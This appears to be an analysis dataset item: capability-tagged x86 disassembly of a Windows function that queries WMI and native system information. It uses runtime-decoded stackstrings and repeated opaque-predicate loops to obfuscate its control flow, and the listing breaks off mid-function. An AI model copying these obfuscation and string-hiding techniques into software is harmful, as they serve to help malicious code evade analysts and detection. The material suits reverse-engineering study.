Function at 0x405370
Capabilities:
Connect to wmi namespace via wbemlocator
Contain obfuscated stackstrings
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x95c
mov eax, dword [0x462040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
mov esi, eax
test esi, esi
js 0x40618c
mov dword [ebp - 0x874], 0x62eb20
mov edi, 3
mov eax, dword [ebp - 0x874]
cdq
idiv edi
mov eax, dword [ebp - 0x874]
lea ebx, [edi + 2]
test edx, edx
je 0x405418
add eax, 2
add eax, esi
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x4053de
dec eax
or eax, 0xfffffffc
add eax, 1
jne 0x4054da
nop dword [eax]
nop dword [eax + eax]
mov eax, dword [ebp - 0x874]
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x405411
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x4053f0
jmp 0x4054da
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x40542c
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x40547a
mov ecx, dword [ebp - 0x874]
lea eax, [esi + 3]
add ecx, 2
imul ecx, eax
mov dword [ebp - 0x874], ecx
mov eax, dword [ebp - 0x874]
test al, 1
jne 0x4054da
mov eax, dword [ebp - 0x874]
cdq
idiv ebx
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x405467
dec eax
jmp 0x405468
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
test al, 1
je 0x405451
jmp 0x4054da
mov eax, dword [ebp - 0x874]
cdq
idiv ebx
test edx, edx
je 0x4054da
mov eax, dword [ebp - 0x874]
lea ecx, [esi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv edi
test edx, edx
jne 0x4054da
nop dword [eax]
mov eax, dword [ebp - 0x874]
cdq
idiv ebx
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x4054c6
inc eax
jmp 0x4054c7
dec eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv edi
test edx, edx
je 0x4054b0
push 0
push 0
push 0
push 3
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
mov esi, eax
mov dword [ebp - 0x874], 0x62eb20
mov eax, dword [ebp - 0x874]
cdq
idiv edi
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x405568
add eax, 2
add eax, esi
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x405530
dec eax
or eax, 0xfffffffc
add eax, 1
jne 0x40562a
nop word [eax + eax]
mov eax, dword [ebp - 0x874]
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x405561
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x405540
jmp 0x40562a
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x40557c
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x4055ca
mov ecx, dword [ebp - 0x874]
lea eax, [esi + 3]
add ecx, 2
imul ecx, eax
mov dword [ebp - 0x874], ecx
mov eax, dword [ebp - 0x874]
test al, 1
jne 0x40562a
mov eax, dword [ebp - 0x874]
cdq
idiv ebx
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x4055b7
dec eax
jmp 0x4055b8
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
test al, 1
je 0x4055a1
jmp 0x40562a
mov eax, dword [ebp - 0x874]
cdq
idiv ebx
test edx, edx
je 0x40562a
mov eax, dword [ebp - 0x874]
lea ecx, [esi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv edi
test edx, edx
jne 0x40562a
nop dword [eax]
mov eax, dword [ebp - 0x874]
cdq
idiv ebx
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x405616
inc eax
jmp 0x405617
dec eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv edi
test edx, edx
je 0x405600
test esi, esi
js 0x406186
mov esi, dword [sym.imp.ole32.dll_CoCreateInstance]
lea eax, [ebp - 0x848]
push eax
push 0x456f3c
push 1
push 0
push 0x456f5c
mov dword [ebp - 0x848], 0
call esi
mov dword [ebp - 0x874], 0x62eb20
mov eax, dword [ebp - 0x874]
cdq
idiv edi
test edx, edx
je 0x4056c9
mov ecx, dword [ebp - 0x874]
mov eax, dword [ebp - 0x848]
add eax, 2
add eax, ecx
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x40569b
dec eax
or eax, 0xfffffffc
add eax, 1
jne 0x40579a
mov eax, dword [ebp - 0x874]
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x4056c2
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x4056a1
jmp 0x40579a
mov eax, dword [ebp - 0x874]
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x4056e3
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x405739
mov ecx, dword [ebp - 0x874]
mov eax, dword [ebp - 0x848]
add ecx, 2
add eax, 3
imul eax, ecx
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
test al, 1
jne 0x40579a
nop
mov eax, dword [ebp - 0x874]
cdq
idiv ebx
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x405726
dec eax
jmp 0x405727
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
test al, 1
je 0x405710
jmp 0x40579a
mov eax, dword [ebp - 0x874]
cdq
idiv ebx
test edx, edx
je 0x40579a
mov eax, dword [ebp - 0x874]
mov ecx, dword [ebp - 0x848]
add eax, 0xb
cdq
add ecx, 0x17
idiv ecx
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv edi
test edx, edx
jne 0x40579a
nop
mov eax, dword [ebp - 0x874]
cdq
idiv ebx
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x405786
inc eax
jmp 0x405787
dec eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv edi
test edx, edx
je 0x405770
lea eax, [ebp - 0x840]
mov dword [ebp - 0x86c], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov dword [ebp - 0x874], 0x62eb20
mov eax, dword [ebp - 0x874]
cdq
idiv edi
test edx, edx
je 0x405828
mov ecx, dword [ebp - 0x874]
mov eax, dword [ebp - 0x830]
add eax, 2
add eax, ecx
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x4057f3
dec eax
or eax, 0xfffffffc
add eax, 1
jne 0x4058fa
nop dword [eax]
mov eax, dword [ebp - 0x874]
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x405821
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x405800
jmp 0x4058fa
mov eax, dword [ebp - 0x874]
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x405842
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x405899
mov ecx, dword [ebp - 0x874]
mov eax, dword [ebp - 0x830]
add ecx, 2
add eax, 3
imul eax, ecx
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
test al, 1
jne 0x4058fa
nop dword [eax]
mov eax, dword [ebp - 0x874]
cdq
idiv ebx
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x405886
dec eax
jmp 0x405887
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
test al, 1
je 0x405870
jmp 0x4058fa
mov eax, dword [ebp - 0x874]
cdq
idiv ebx
test edx, edx
je 0x4058fa
mov eax, dword [ebp - 0x874]
mov ecx, dword [ebp - 0x830]
add eax, 0xb
cdq
add ecx, 0x17
idiv ecx
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv edi
test edx, edx
jne 0x4058fa
nop
mov eax, dword [ebp - 0x874]
cdq
idiv ebx
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x4058e6
inc eax
jmp 0x4058e7
dec eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv edi
test edx, edx
je 0x4058d0
cmp word [ebp - 0x840], 9
mov ebx, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
jne 0x405d8f
lea eax, [ebp - 0x86c]
push eax
push 0x456f4c
push 1
push 0
push 0x456f6c
call esi
mov esi, eax
test esi, esi
js 0x406186
mov dword [ebp - 0x874], 0x62eb20
mov eax, dword [ebp - 0x874]
cdq
idiv edi
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x405999
add eax, 2
add eax, esi
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x40596b
dec eax
or eax, 0xfffffffc
add eax, 1
jne 0x405a6a
mov eax, dword [ebp - 0x874]
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x405992
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x405971
jmp 0x405a6a
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x4059ad
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x405a00
mov ecx, dword [ebp - 0x874]
lea eax, [esi + 3]
add ecx, 2
imul ecx, eax
mov dword [ebp - 0x874], ecx
mov eax, dword [ebp - 0x874]
test al, 1
jne 0x405a6a
mov esi, 5
mov eax, dword [ebp - 0x874]
cdq
idiv esi
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x4059ed
dec eax
jmp 0x4059ee
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
test al, 1
je 0x4059d7
jmp 0x405a6a
mov eax, dword [ebp - 0x874]
mov ecx, 5
cdq
idiv ecx
test edx, edx
je 0x405a6a
mov eax, dword [ebp - 0x874]
lea ecx, [esi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv edi
test edx, edx
jne 0x405a6a
mov ecx, 5
nop dword [eax]
mov eax, dword [ebp - 0x874]
cdq
idiv ecx
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x405a56
inc eax
jmp 0x405a57
dec eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv edi
test edx, edx
je 0x405a40
mov byte [ebp - 0x8a4], 0
mov byte [ebp - 0x8a3], 0x1b
mov byte [ebp - 0x8a2], 0x16
mov byte [ebp - 0x8a1], 0x1b
mov byte [ebp - 0x8a0], 0x16
mov byte [ebp - 0x89f], 0x49
mov byte [ebp - 0x89e], 0x16
mov byte [ebp - 0x89d], 0x1c
mov byte [ebp - 0x89c], 0x16
mov byte [ebp - 0x89b], 0x58
mov byte [ebp - 0x89a], 0x16
mov byte [ebp - 0x899], 0x4b
mov byte [ebp - 0x898], 0x16
mov byte [ebp - 0x897], 0x51
mov byte [ebp - 0x896], 0x16
mov byte [ebp - 0x895], 0x36
mov byte [ebp - 0x894], 0x16
mov byte [ebp - 0x893], 0x22
mov byte [ebp - 0x892], 0x16
mov byte [ebp - 0x891], 0x1c
mov byte [ebp - 0x890], 0x16
mov byte [ebp - 0x88f], 0x77
mov byte [ebp - 0x88e], 0x16
mov byte [ebp - 0x88d], 0x1c
mov byte [ebp - 0x88c], 0x16
mov byte [ebp - 0x88b], 0x4a
mov byte [ebp - 0x88a], 0x16
mov byte [ebp - 0x889], 0x65
mov byte [ebp - 0x888], 0x16
mov byte [ebp - 0x887], 0x51
mov byte [ebp - 0x886], 0x16
mov byte [ebp - 0x885], 0x73
mov byte [ebp - 0x884], 0x16
mov byte [ebp - 0x883], 0x22
mov byte [ebp - 0x882], 0x16
mov byte [ebp - 0x881], 0x4a
mov byte [ebp - 0x880], 0x16
mov byte [ebp - 0x87f], 0x73
mov byte [ebp - 0x87e], 0x16
mov byte [ebp - 0x87d], 0x5f
mov byte [ebp - 0x87c], 0x16
mov byte [ebp - 0x87b], 0x1c
mov byte [ebp - 0x87a], 0x16
mov byte [ebp - 0x879], 0x22
mov byte [ebp - 0x878], 0x16
mov byte [ebp - 0x877], 0x16
mov byte [ebp - 0x876], 0x16
mov al, byte [ebp - 0x8a3]
mov al, byte [ebp - 0x8a4]
test al, al
jne 0x405bf6
xor ecx, ecx
lea esi, [ecx + 0x7f]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x8a3]
movzx eax, al
sub eax, 0x16
imul eax, eax, 0x13
cdq
idiv esi
lea eax, [edx + 0x7f]
cdq
idiv esi
mov byte [ebp + ecx - 0x8a3], dl
inc ecx
cmp ecx, 0x2e
jb 0x405bd0
lea eax, [ebp - 0x8a3]
push eax
call ebx
mov esi, eax
lea eax, [ebp - 0x818]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov ecx, dword [ebp - 0x86c]
lea eax, [ebp - 0x818]
push eax
push 0
mov word [ebp - 0x818], di
mov dword [ebp - 0x810], 0x40
mov edx, dword [ecx]
push esi
push ecx
call dword [edx + 0x20]
mov esi, eax
mov dword [ebp - 0x874], 0x62eb20
mov eax, dword [ebp - 0x874]
cdq
idiv edi
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x405ca8
add eax, 2
add eax, esi
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x405c73
dec eax
or eax, 0xfffffffc
add eax, 1
jne 0x405d7a
nop dword [eax]
mov eax, dword [ebp - 0x874]
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x405ca1
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x405c80
jmp 0x405d7a
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x405cbc
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x405d0f
mov ecx, dword [ebp - 0x874]
lea eax, [esi + 3]
add ecx, 2
imul ecx, eax
mov dword [ebp - 0x874], ecx
mov eax, dword [ebp - 0x874]
test al, 1
jne 0x405d7a
mov ecx, 5
mov eax, dword [ebp - 0x874]
cdq
idiv ecx
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x405cfc
dec eax
jmp 0x405cfd
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
test al, 1
je 0x405ce6
jmp 0x405d7a
mov eax, dword [ebp - 0x874]
mov ecx, 5
cdq
idiv ecx
test edx, edx
je 0x405d7a
mov eax, dword [ebp - 0x874]
lea ecx, [esi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv edi
test edx, edx
jne 0x405d7a
mov ecx, 5
nop dword [eax + eax]
mov eax, dword [ebp - 0x874]
cdq
idiv ecx
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x405d66
inc eax
jmp 0x405d67
dec eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv edi
test edx, edx
je 0x405d50
lea eax, [ebp - 0x818]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
test esi, esi
js 0x406186
mov dword [ebp - 0x844], 0
mov byte [ebp - 0x868], 0
mov byte [ebp - 0x867], 0x3f
mov byte [ebp - 0x866], 3
mov byte [ebp - 0x865], 0x43
mov byte [ebp - 0x864], 3
mov byte [ebp - 0x863], 0x43
mov byte [ebp - 0x862], 3
mov byte [ebp - 0x861], 0x12
mov byte [ebp - 0x860], 3
mov byte [ebp - 0x85f], 0x5c
mov byte [ebp - 0x85e], 3
mov byte [ebp - 0x85d], 0x53
mov byte [ebp - 0x85c], 3
mov byte [ebp - 0x85b], 0x4b
mov byte [ebp - 0x85a], 3
mov byte [ebp - 0x859], 0x70
mov byte [ebp - 0x858], 3
mov byte [ebp - 0x857], 0x64
mov byte [ebp - 0x856], 3
mov byte [ebp - 0x855], 0x15
mov byte [ebp - 0x854], 3
mov byte [ebp - 0x853], 3
mov byte [ebp - 0x852], 3
mov al, byte [ebp - 0x867]
mov al, byte [ebp - 0x868]
test al, al
jne 0x405e7f
xor esi, esi
lea edi, [esi + 0x7f]
nop
mov al, byte [ebp + esi - 0x867]
movzx ecx, al
sub ecx, 3
mov eax, ecx
shl eax, 5
sub eax, ecx
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + esi - 0x867], dl
inc esi
cmp esi, 0x16
jb 0x405e50
mov edi, 3
lea eax, [ebp - 0x867]
push eax
call ebx
mov ecx, dword [ebp - 0x848]
lea esi, [ebp - 0x844]
push esi
push dword [ebp - 0x86c]
mov edx, dword [ecx]
push 0
push 0
push 0
push 0
push 0
push eax
push ecx
call dword [edx + 0xc]
mov esi, eax
mov dword [ebp - 0x874], 0x62eb20
mov eax, dword [ebp - 0x874]
cdq
idiv edi
test edx, edx
je 0x405f28
mov ecx, dword [ebp - 0x874]
mov eax, dword [ebp - 0x844]
add eax, 2
add eax, ecx
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x405ef0
dec eax
or eax, 0xfffffffc
add eax, 1
jne 0x40600a
nop word [eax + eax]
mov eax, dword [ebp - 0x874]
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x405f21
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x405f00
jmp 0x40600a
mov eax, dword [ebp - 0x874]
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x405f42
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x405f9b
mov ecx, dword [ebp - 0x874]
mov eax, dword [ebp - 0x844]
add ecx, 2
add eax, 3
imul eax, ecx
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
test al, 1
jne 0x40600a
mov ecx, 5
mov eax, dword [ebp - 0x874]
cdq
idiv ecx
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x405f88
dec eax
jmp 0x405f89
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
test al, 1
je 0x405f72
jmp 0x40600a
mov eax, dword [ebp - 0x874]
mov ecx, 5
cdq
idiv ecx
test edx, edx
je 0x40600a
mov eax, dword [ebp - 0x874]
mov ecx, dword [ebp - 0x844]
add eax, 0xb
cdq
add ecx, 0x17
idiv ecx
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv edi
test edx, edx
jne 0x40600a
mov ecx, 5
nop word [eax + eax]
mov eax, dword [ebp - 0x874]
cdq
idiv ecx
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x405ff6
inc eax
jmp 0x405ff7
dec eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv edi
test edx, edx
je 0x405fe0
test esi, esi
js 0x40617a
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [ebp - 0x844]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov esi, eax
mov dword [ebp - 0x874], 0x62eb20
mov eax, dword [ebp - 0x874]
cdq
idiv edi
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x406098
add eax, 2
add eax, esi
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x40606a
dec eax
or eax, 0xfffffffc
add eax, 1
jne 0x40616a
mov eax, dword [ebp - 0x874]
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x406091
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x406070
jmp 0x40616a
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x4060ac
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x4060ff
mov ecx, dword [ebp - 0x874]
lea eax, [esi + 3]
add ecx, 2
imul ecx, eax
mov dword [ebp - 0x874], ecx
mov eax, dword [ebp - 0x874]
test al, 1
jne 0x40616a
mov ecx, 5
mov eax, dword [ebp - 0x874]
cdq
idiv ecx
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x4060ec
dec eax
jmp 0x4060ed
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
test al, 1
je 0x4060d6
jmp 0x40616a
mov eax, dword [ebp - 0x874]
mov ecx, 5
cdq
idiv ecx
test edx, edx
je 0x40616a
mov eax, dword [ebp - 0x874]
lea ecx, [esi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv edi
test edx, edx
jne 0x40616a
mov ecx, 5
nop dword [eax + eax]
mov eax, dword [ebp - 0x874]
cdq
idiv ecx
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x406156
inc eax
jmp 0x406157
dec eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv edi
test edx, edx
je 0x406140
test esi, esi
jns 0x40619f
mov eax, dword [ebp - 0x844]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x848]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00434f21
mov esp, ebp
pop ebp
ret
mov byte [ebp - 0x814], 0
mov byte [ebp - 0x813], 0x1b
mov byte [ebp - 0x812], 0x60
mov byte [ebp - 0x811], 0x17
mov byte [ebp - 0x810], 0x60
mov byte [ebp - 0x80f], 0x3e
mov byte [ebp - 0x80e], 0x60
mov byte [ebp - 0x80d], 0x60
mov byte [ebp - 0x80c], 0x60
mov al, byte [ebp - 0x813]
mov al, byte [ebp - 0x814]
test al, al
jne 0x406236
xor esi, esi
lea ebx, [esi + 0x7f]
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp + esi - 0x813]
mov ecx, 0x60
movzx eax, al
sub ecx, eax
mov eax, ecx
shl eax, 5
sub eax, ecx
add eax, eax
cdq
idiv ebx
lea eax, [edx + 0x7f]
cdq
idiv ebx
mov byte [ebp + esi - 0x813], dl
inc esi
cmp esi, 8
jb 0x406200
mov ebx, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
lea eax, [ebp - 0x813]
push eax
call ebx
mov byte [ebp - 0x8b4], 0
mov edi, eax
mov byte [ebp - 0x8b3], 0x40
mov byte [ebp - 0x8b2], 0x5b
mov byte [ebp - 0x8b1], 0xf
mov byte [ebp - 0x8b0], 0x5b
mov byte [ebp - 0x8af], 0x67
mov byte [ebp - 0x8ae], 0x5b
mov byte [ebp - 0x8ad], 0xf
mov byte [ebp - 0x8ac], 0x5b
mov byte [ebp - 0x8ab], 8
mov byte [ebp - 0x8aa], 0x5b
mov byte [ebp - 0x8a9], 4
mov byte [ebp - 0x8a8], 0x5b
mov byte [ebp - 0x8a7], 0x4c
mov byte [ebp - 0x8a6], 0x5b
mov byte [ebp - 0x8a5], 0x6f
mov byte [ebp - 0x8a4], 0x5b
mov byte [ebp - 0x8a3], 0x4c
mov byte [ebp - 0x8a2], 0x5b
mov byte [ebp - 0x8a1], 0x52
mov byte [ebp - 0x8a0], 0x5b
mov byte [ebp - 0x89f], 0x7c
mov byte [ebp - 0x89e], 0x5b
mov byte [ebp - 0x89d], 0x32
mov byte [ebp - 0x89c], 0x5b
mov byte [ebp - 0x89b], 0x2b
mov byte [ebp - 0x89a], 0x5b
mov byte [ebp - 0x899], 0x4c
mov byte [ebp - 0x898], 0x5b
mov byte [ebp - 0x897], 0x4e
mov byte [ebp - 0x896], 0x5b
mov byte [ebp - 0x895], 0xe
mov byte [ebp - 0x894], 0x5b
mov byte [ebp - 0x893], 0x5f
mov byte [ebp - 0x892], 0x5b
mov byte [ebp - 0x891], 0x4f
mov byte [ebp - 0x890], 0x5b
mov byte [ebp - 0x88f], 0xc
mov byte [ebp - 0x88e], 0x5b
mov byte [ebp - 0x88d], 0x6a
mov byte [ebp - 0x88c], 0x5b
mov byte [ebp - 0x88b], 0x40
mov byte [ebp - 0x88a], 0x5b
mov byte [ebp - 0x889], 0x4a
mov byte [ebp - 0x888], 0x5b
mov byte [ebp - 0x887], 0x71
mov byte [ebp - 0x886], 0x5b
mov byte [ebp - 0x885], 0x3c
mov byte [ebp - 0x884], 0x5b
mov byte [ebp - 0x883], 0x23
mov byte [ebp - 0x882], 0x5b
mov byte [ebp - 0x881], 0x3f
mov byte [ebp - 0x880], 0x5b
mov byte [ebp - 0x87f], 8
mov byte [ebp - 0x87e], 0x5b
mov byte [ebp - 0x87d], 0x23
mov byte [ebp - 0x87c], 0x5b
mov byte [ebp - 0x87b], 0x66
mov byte [ebp - 0x87a], 0x5b
mov byte [ebp - 0x879], 0x46
mov byte [ebp - 0x878], 0x5b
mov byte [ebp - 0x877], 0x5b
mov byte [ebp - 0x876], 0x5b
mov al, byte [ebp - 0x8b3]
mov al, byte [ebp - 0x8b4]
test al, al
jne 0x406443
xor esi, esi
lea ebx, [esi + 0x7f]
nop
mov al, byte [ebp + esi - 0x8b3]
mov ecx, 0x5b
movzx eax, al
sub ecx, eax
lea eax, [ecx + ecx*8]
shl eax, 2
cdq
idiv ebx
lea eax, [edx + 0x7f]
cdq
idiv ebx
mov byte [ebp + esi - 0x8b3], dl
inc esi
cmp esi, 0x3e
jb 0x406410
mov ebx, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
lea eax, [ebp - 0x8b3]
push eax
call ebx
mov ecx, dword [ebp - 0x844]
lea esi, [ebp - 0x850]
push esi
push 0
push 0x30
push eax
mov dword [ebp - 0x850], 0
mov edx, dword [ecx]
push edi
push ecx
call dword [edx + 0x50]
mov esi, eax
mov dword [ebp - 0x874], 0x62eb20
mov eax, dword [ebp - 0x874]
mov ebx, 3
cdq
idiv ebx
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x406507
add eax, 2
add eax, esi
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x4064b2
dec eax
or eax, 0xfffffffc
add eax, 1
jne 0x4064e3
nop dword [eax]
nop dword [eax + eax]
mov eax, dword [ebp - 0x874]
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x4064e1
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x4064c0
mov edi, 5
test esi, esi
jns 0x4065d3
mov eax, dword [ebp - 0x844]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x848]
jmp 0x40729f
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x40651b
dec eax
or eax, 0xfffffffc
add eax, 1
mov edi, 5
je 0x40656d
mov ecx, dword [ebp - 0x874]
lea eax, [esi + 3]
add ecx, 2
imul ecx, eax
mov dword [ebp - 0x874], ecx
mov eax, dword [ebp - 0x874]
test al, 1
jne 0x4064e8
mov eax, dword [ebp - 0x874]
cdq
idiv edi
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x406557
dec eax
jmp 0x406558
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
test al, 1
je 0x406541
jmp 0x4064e8
mov eax, dword [ebp - 0x874]
cdq
idiv edi
test edx, edx
je 0x4064e8
mov eax, dword [ebp - 0x874]
lea ecx, [esi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv ebx
test edx, edx
jne 0x4064e8
mov eax, dword [ebp - 0x874]
cdq
idiv edi
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x4065ba
inc eax
jmp 0x4065bb
dec eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv ebx
test edx, edx
je 0x4065a4
jmp 0x4064e8
mov dword [ebp - 0x870], 0
mov dword [ebp - 0x81c], 0
mov dword [ebp - 0x874], 0x62eb20
mov eax, dword [ebp - 0x874]
cdq
idiv ebx
test edx, edx
je 0x406658
mov ecx, dword [ebp - 0x874]
mov eax, dword [ebp - 0x850]
add eax, 2
add eax, ecx
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x406629
dec eax
or eax, 0xfffffffc
add eax, 1
jne 0x40672a
nop
mov eax, dword [ebp - 0x874]
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x406651
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x406630
jmp 0x40672a
mov eax, dword [ebp - 0x874]
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x406672
